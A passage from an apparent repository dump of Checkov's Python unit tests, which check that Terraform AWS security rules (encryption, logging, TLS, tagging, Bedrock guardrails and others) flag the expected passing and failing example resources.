    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.AWSCodeGuruHasCMK import check\n\n\nclass TestAWSCodeGuruHasCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AWSCodeGuruHasCMK\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_codegurureviewer_repository_association.pass'\n        }\n        failing_resources = {\n            'aws_codegurureviewer_repository_association.ckv_unittest_fail_no_encryption_option',\n            'aws_codegurureviewer_repository_association.ckv_unittest_fail_no_kms_key_details',\n            'aws_codegurureviewer_repository_association.ckv_unittest_fail_encryption_option_OWNED',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AppFlowConnectorProfileUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AppFlowConnectorProfileUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppFlowConnectorProfileUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppFlowConnectorProfileUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_appflow_connector_profile.pass\",\n        }\n\n        failing_resources = {\n            \"aws_appflow_connector_profile.fail\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AppFlowUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AppFlowUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppFlowUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppFlowUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_appflow_flow.pass\",\n        }\n\n        failing_resources = {\n            \"aws_appflow_flow.fail\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AppSyncFieldLevelLogs.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AppSyncFieldLevelLogs import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppSyncFieldLevelLogs(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppSyncFieldLevelLogs\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_appsync_graphql_api.all\",\n            \"aws_appsync_graphql_api.error\",\n        }\n        failing_resources = {\n            \"aws_appsync_graphql_api.none\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AppSyncLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AppSyncLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppSyncLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppSyncLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_appsync_graphql_api.enabled\",\n        }\n        failing_resources = {\n            \"aws_appsync_graphql_api.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AppsyncAPICacheEncryptionAtRest.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AppsyncAPICacheEncryptionAtRest import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppsyncAPICacheEncryptionAtRest(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AppsyncAPICacheEncryptionAtRest\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_appsync_api_cache.pass\",\n        }\n        failing_resources = {\n            \"aws_appsync_api_cache.fail\",\n            \"aws_appsync_api_cache.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AppsyncAPICacheEncryptionInTransit.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AppsyncAPICacheEncryptionInTransit import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppsyncAPICacheEncryptionInTransit(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AppsyncAPICacheEncryptionInTransit\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_appsync_api_cache.pass\",\n        }\n        failing_resources = {\n            \"aws_appsync_api_cache.fail\",\n            \"aws_appsync_api_cache.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AthenaDatabaseEncryption.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.AthenaDatabaseEncryption import check\n\n\nclass TestAthenaDatabaseEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"name\": \"Example\",\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": \"Example\",\n            \"encryption_configuration\": [\n                {\n                    \"encryption_option\": \"SSE_S3\"\n                }\n            ],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AthenaWorkgroupConfiguration.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.AthenaWorkgroupConfiguration import check\n\n\nclass TestAthenaWorkgroupConfiguration(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"name\": \"Example\",\n            \"configuration\": [\n                {\n                    \"enforce_workgroup_configuration\": False,\n                }\n            ],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": \"Example\",\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_full(self):\n        resource_conf = {\n            \"name\": \"Example\",\n            \"configuration\": [\n                {\n                    \"enforce_workgroup_configuration\": True,\n                }\n            ],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AthenaWorkgroupEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AthenaWorkgroupEncryption import check\nfrom checkov.terraform.runner import Runner\n\nclass TestAthenaWorkgroupEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AthenaWorkgroupEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_athena_workgroup.pass\",\n        }\n        failing_resources = {\n            \"aws_athena_workgroup.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AuroraEncryption.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.AuroraEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAuroraEncryption(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_rds_cluster\" \"test\" {\n            cluster_identifier      = \"aurora-cluster-demo\"\n            engine                  = \"aurora-mysql\"\n            engine_version          = \"5.7.mysql_aurora.2.03.2\"\n            availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            database_name           = \"mydb\"\n            master_username         = \"foo\"\n            master_password         = \"bar\"\n            backup_retention_period = 5\n            preferred_backup_window = \"07:00-09:00\"\n            storage_encrypted       = true\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_serverless_default(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_rds_cluster\" \"test\" {\n            cluster_identifier      = \"aurora-cluster-demo\"\n            availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            database_name           = \"mydb\"\n            master_username         = \"foo\"\n            master_password         = \"bar\"\n            backup_retention_period = 5\n            preferred_backup_window = \"07:00-09:00\"\n            engine_mode             = \"serverless\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    # If engine_mode is serverless then storage_encrypted should be ignored\n    def test_success_serverless_enc_off(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_rds_cluster\" \"test\" {\n            cluster_identifier      = \"aurora-cluster-demo\"\n            availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            database_name           = \"mydb\"\n            master_username         = \"foo\"\n            master_password         = \"bar\"\n            backup_retention_period = 5\n            preferred_backup_window = \"07:00-09:00\"\n            engine_mode             = \"serverless\"\n            storage_encrypted       = false\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_explicit(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_rds_cluster\" \"test\" {\n            cluster_identifier      = \"aurora-cluster-demo\"\n            engine                  = \"aurora-mysql\"\n            engine_version          = \"5.7.mysql_aurora.2.03.2\"\n            availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            database_name           = \"mydb\"\n            master_username         = \"foo\"\n            master_password         = \"bar\"\n            backup_retention_period = 5\n            preferred_backup_window = \"07:00-09:00\"\n            storage_encrypted       = false\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_default(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_rds_cluster\" \"test\" {\n            cluster_identifier      = \"aurora-cluster-demo\"\n            engine                  = \"aurora-mysql\"\n            engine_version          = \"5.7.mysql_aurora.2.03.2\"\n            availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n            database_name           = \"mydb\"\n            master_username         = \"foo\"\n            master_password         = \"bar\"\n            backup_retention_period = 5\n            preferred_backup_window = \"07:00-09:00\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AutoScalingGroupWithPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AutoScalingGroupWithPublicAccess import check\nfrom checkov.terraform.runner import Runner\n\nclass TestAutoScalingGroupWithPublicAccess(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AutoScalingGroupWithPublicAccess\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_launch_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_launch_configuration.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AutoScalingLaunchTemplate.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AutoScalingLaunchTemplate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAutoScalingLaunchTemplate(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AutoScalingLaunchTemplate\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_autoscaling_group.pass\",\n            \"aws_autoscaling_group.pass_mixed\",\n            \"aws_autoscaling_group.pass_mixed_multiple\",\n        }\n        failing_resources = {\n            \"aws_autoscaling_group.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_AutoScalingTagging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AutoScalingTagging import check\nfrom checkov.terraform.runner import Runner\n\nclass TestAutoScalingTagging(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AutoScalingTagging\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_autoscaling_group.passtag\",\n            \"aws_autoscaling_group.passtags\",  \n        }\n        failing_resources = {\n            \"aws_autoscaling_group.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_BackupVaultEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.BackupVaultEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBackupVaultEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BackupVaultEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_backup_vault.backup_with_kms_key\",\n        }\n        failing_resources = {\n            \"aws_backup_vault.backup\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_BatchJobIsNotPrivileged.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.BatchJobIsNotPrivileged import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBatchJobIsNotPrivileged(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BatchJobIsNotPrivileged\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_batch_job_definition.pass\",\n            \"aws_batch_job_definition.pass2\",\n            \"aws_batch_job_definition.pass3\",\n        }\n        failing_resources = {\n            \"aws_batch_job_definition.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 7)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_BedrockAgentEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.BedrockAgentEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBedrockAgentEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BedrockAgentEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_bedrockagent_agent.bedrock_agent_with_kms_key\",\n        }\n        failing_resources = {\n            \"aws_bedrockagent_agent.bedrock_agent\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_BedrockGuardrails.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.BedrockGuardrails import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBedrockGuardrails(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BedrockGuardrails\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_bedrockagent_agent.pass\",\n        }\n        failing_resources = {\n            \"aws_bedrockagent_agent.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudFrontGeoRestrictionDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudFrontGeoRestrictionDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudFrontGeoRestrictionDisabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudFrontGeoRestrictionDisabled\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_distribution.pass\"\n        }\n        failing_resources = {\n            \"aws_cloudfront_distribution.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudFrontResponseHeaderStrictTransportSecurity.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudFrontResponseHeaderStrictTransportSecurity import check\n\n\nclass TestCloudFrontResponseHeaderStrictTransportSecurity(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudFrontResponseHeaderStrictTransportSecurity\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_response_headers_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudfront_response_headers_policy.no_security_headers_config\",\n            \"aws_cloudfront_response_headers_policy.no_strict_transport_security\",\n            \"aws_cloudfront_response_headers_policy.incorrect_strict_transport_security\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudFrontTLS12.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudfrontTLS12 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudFrontTLS12(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudfrontTLS12\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_distribution.pass\",\n            \"aws_cloudfront_distribution.pass1\",\n            \"aws_cloudfront_distribution.pass2\",\n        }\n        failing_resources = {\n            \"aws_cloudfront_distribution.fail\",\n            \"aws_cloudfront_distribution.fail2\",\n            \"aws_cloudfront_distribution.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
